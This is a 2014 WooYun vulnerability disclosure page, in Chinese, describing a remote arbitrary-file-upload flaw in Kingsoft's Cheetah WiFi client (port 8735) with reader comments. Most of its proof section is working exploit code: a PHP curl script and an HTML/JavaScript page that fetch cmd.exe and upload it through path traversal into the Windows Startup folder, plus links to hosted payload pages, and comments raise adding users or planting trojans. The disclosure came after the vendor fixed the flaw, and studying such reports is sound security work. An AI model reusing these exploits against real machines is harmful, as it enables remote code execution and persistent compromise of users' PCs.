漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:金山某客户端应用远程文件上传导致命令执行,突破内外网控制PC机
提交时间:2014-08-14 18:01
修复时间:2014-11-12 18:02
公开时间:2014-11-12 18:02
漏洞类型:远程代码执行
危害等级:中
自评Rank:20
漏洞状态:厂商已经修复
Tags标签:
无
漏洞详情 披露状态:
2014-08-14: 细节已通知厂商并且等待厂商处理中 2014-08-14: 厂商已经确认,细节仅向厂商公开 2014-10-08: 细节向核心白帽子及相关领域专家公开 2014-10-18: 细节向普通白帽子公开 2014-10-28: 细节向实习白帽子公开 2014-11-12: 厂商已经修复漏洞并主动公开,细节向公众公开
简要描述: 闪电有没有?
详细说明: 漏洞程序: Kwifi V4.0.140813 猎豹wifi最新版本 测试环境: Windows 7 64bit Kwifi V4.0.140813 Firefox 31.0 Chrome 36.0.1985.143 m 漏洞详情: 当猎豹wifi运行后会向外网开放8735端口(运行web),而其某接口存在漏洞导致任意文件上传,从而导致pc机沦陷。 http://target:8735/tool/#upload http://target:8735/api/replypic 存在漏洞导致任意文件上传 漏洞危害: 默认装C盘 可以实现挂马,指定入侵,拓展大企业内网监控pc机等; 部分测试环境默认安装在D盘(wooyun工作人员测试时出现,我测试时无论是官网最新版本还是百度下载的猎豹wifi都装在C盘);
漏洞证明: 当kwifi外网环境时:
<?php /** * Created by itleaf * Date: 2014-08-14 * Name: Kwifi V4.0.140813 Remote File Upload Exploit * Blog: http://itleaf.duapp.com **/ function getIP(){ if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $realip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $realip = $_SERVER['HTTP_CLIENT_IP']; } else { $realip = $_SERVER['REMOTE_ADDR']; } } else { if (getenv("HTTP_X_FORWARDED_FOR")) { $realip = getenv( "HTTP_X_FORWARDED_FOR"); } elseif (getenv("HTTP_CLIENT_IP")) { $realip = getenv("HTTP_CLIENT_IP"); } else { $realip = getenv("REMOTE_ADDR"); } } return $realip; } $ip=$_GET["ip"]; $ch = curl_init(); $post=array('filename' => '@'.realpath('cmd.exe')); //POST提交内容 $url = "http://".$ip.":8735/api/replypic?name=../../../../../../ProgramData/Microsoft/Windows/Start%20Menu/Programs/Startup/cmd.exe&size=345088"; //上传地址 // $url = "http://".getIP()":8735/api/replypic?name=../../../../../../ProgramData/Microsoft/Windows/Start%20Menu/Programs/Startup/cmd.exe&size=345088"; //上传地址 curl_setopt($ch, CURLOPT_URL, $url);//URL curl_setopt($ch, CURLOPT_REFERER, "http://".$ip.":8735/tool/"); curl_setopt($ch, CURLOPT_POST, 1); //模拟POST curl_setopt($ch, CURLOPT_POSTFIELDS, $post);//POST内容 curl_exec($ch); curl_close($ch); //echo getIP(); ?>
当kwifi为内网环境时: firefox 和google chrome下有效
<!DOCTYPE html> <html> <head> <title>Kwifi Remote File Upload Exploit</title> <meta charset=utf-8 /> <link href='css.css' rel='stylesheet' type='text/css'> <script src="jquery.min.js" type="text/javascript"></script> <style> body {background: #333; color: #eee; font-family: 'Inconsolata', Verdana, sans-serif;} a:link {color: green; } a:visited {color: darkgreen;} </style> </head> <body> <h1>Kwifi V4.0.140813 Remote File Upload Exploit</h1> <!-- <h2>Step 2</h2> <button type="button" id="upload" onclick="start()"><font size="+2">Let's have some fun!</font></button> --> <script> var logUrl = 'http://192.168.1.103:8735/api/replypic?name=../../../../../../ProgramData/Microsoft/Windows/Start%20Menu/Programs/Startup/cmd.exe&size=345088'; function byteValue(x) { return x.charCodeAt(0) & 0xff; } function toBytes(datastr) { var ords = Array.prototype.map.call(datastr, byteValue); var ui8a = new Uint8Array(ords); return ui8a.buffer; } if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) { XMLHttpRequest.prototype.sendAsBinary = function(datastr) { this.send(toBytes(datastr)); } } function fileUpload(fileData, fileName) { var fileSize = fileData.length, boundary = "9849436581144108930470211272", uri = logUrl, xhr = new XMLHttpRequest(); var fileFieldName = "filedata"; xhr.open("POST", uri, true); xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); // simulate a file MIME POST request. xhr.setRequestHeader("Content-Length", fileSize); xhr.withCredentials = "true"; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) { if (xhr.responseText != "") { alert(JSON.parse(xhr.responseText).msg); // display response. } } else if (xhr.status == 0) { $("#goto").show(); } } } var body = ""; body += addFileField(fileFieldName, fileData, fileName, boundary); body += "--" + boundary + "--"; xhr.sendAsBinary(body); return true; } function addField(name, value, boundary) { var c = "--" + boundary + "\r\n" c += "Content-Disposition: form-data; name='" + name + "'\r\n\r\n"; c += value + "\r\n"; return c; } function addFileField(name, value, filename, boundary) { var c = "--" + boundary + "\r\n" c += "Content-Disposition: form-data; name='" + name + "'; filename='" + filename + "'\r\n"; c += "Content-Type: application/octet-stream\r\n\r\n"; c += value + "\r\n"; return c; } function load_binary_resource(url) { var req = new XMLHttpRequest(); req.open('GET', url, false); //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com] req.overrideMimeType('text/plain; charset=x-user-defined'); req.send(null); if (req.status != 200) return ''; var bytes = Array.prototype.map.call(req.responseText, byteValue); try{ return String.fromCharCode.apply(this,bytes); }catch(e){ return req.responseText; } } var start = function() { var c = load_binary_resource('cmd.exe'); fileUpload(c, 'cmd.exe'); }; start(); </script> </div> <div id="goto" style="display:none"> <h2>Well Done</h2> </div> </body> </html>
修复方案: 视频:http://qin1u.qiniudn.com/kwifi.wmv 演示个cmd,上马过金山等也是可以的~ 下面给一个通用型测试payload: 若安装到c盘,则开启wifi后访问下述链接,安装cmd.exe程序到系统启动项 http://xssae.sinaapp.com/kwifi/2.html 若安装到d盘,则开启wifi后访问下述链接,安装cmd.exe程序到d盘根目录 http://xssae.sinaapp.com/kwifi/3.html
漏洞回应 厂商回应: 危害等级:高
漏洞Rank:15
确认时间:2014-08-14 19:53
厂商回复: 非常感谢您的提交
最新状态: 2014-11-12:已经修复
2014-11-12:漏洞已修复
漏洞评价:
评论
2014-08-14 18:12 |
zeracker ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)
2014-08-14 18:13 |
itleaf ( 普通白帽子 | Rank:140 漏洞数:17 )
2014-08-14 18:31 |
疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
2014-08-14 18:34 |
itleaf ( 普通白帽子 | Rank:140 漏洞数:17 )
2014-08-14 18:38 |
疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
2014-08-14 18:50 |
安然意境 ( 普通白帽子 | Rank:189 漏洞数:79 | 无论是你的事业还是你的个人,可能走的过程...)
2014-08-14 19:04 |
大大灰狼 ( 普通白帽子 | Rank:248 漏洞数:53 | Newbie)
2014-08-14 19:49 |
HackBraid ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)
2014-08-14 21:09 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
2014-08-14 21:23 |
itleaf ( 普通白帽子 | Rank:140 漏洞数:17 )
2014-08-15 13:08 |
itleaf ( 普通白帽子 | Rank:140 漏洞数:17 )
厂商最新版已经修复,百度搜索下载任有效,安装到D盘,请删除D盘Program Files (x86)文件夹或在虚拟机里测试,win7 64bit firefox chrome测试成功,exp自行按需更改
2014-11-12 19:06 |
大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )
。。不明白CMD哪来的你说的上传也没见上传CMD啊
2014-11-12 19:27 |
itleaf ( 普通白帽子 | Rank:140 漏洞数:17 )
2014-11-12 19:42 |
萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)
金山 我喜欢这厂商 虽然和我想不不一样 但是的确很刁 值得学习
2014-11-12 20:27 |
1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少,你可别骗我!!!)
@大白菜在script有下面这段代码 var start = function() { var c = load_binary_resource('cmd.exe'); fileUpload(c, 'cmd.exe'); }; start();先用ajax的方式远程读取cmd.exe再上传cmd.exe地址http://xssae.sinaapp.com/kwifi/cmd.exe
2014-11-13 00:02 |
大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )
@1c3z ...那能执行添加用户的命令吗?或者开3389 或者执行远程木马
2014-11-13 11:08 |
1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少,你可别骗我!!!)
@大白菜 安装cmd.exe程序到系统启动项ProgramData/Microsoft/Windows/Start%20Menu/Programs/Startup开机自启动
2014-11-13 14:37 |
大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )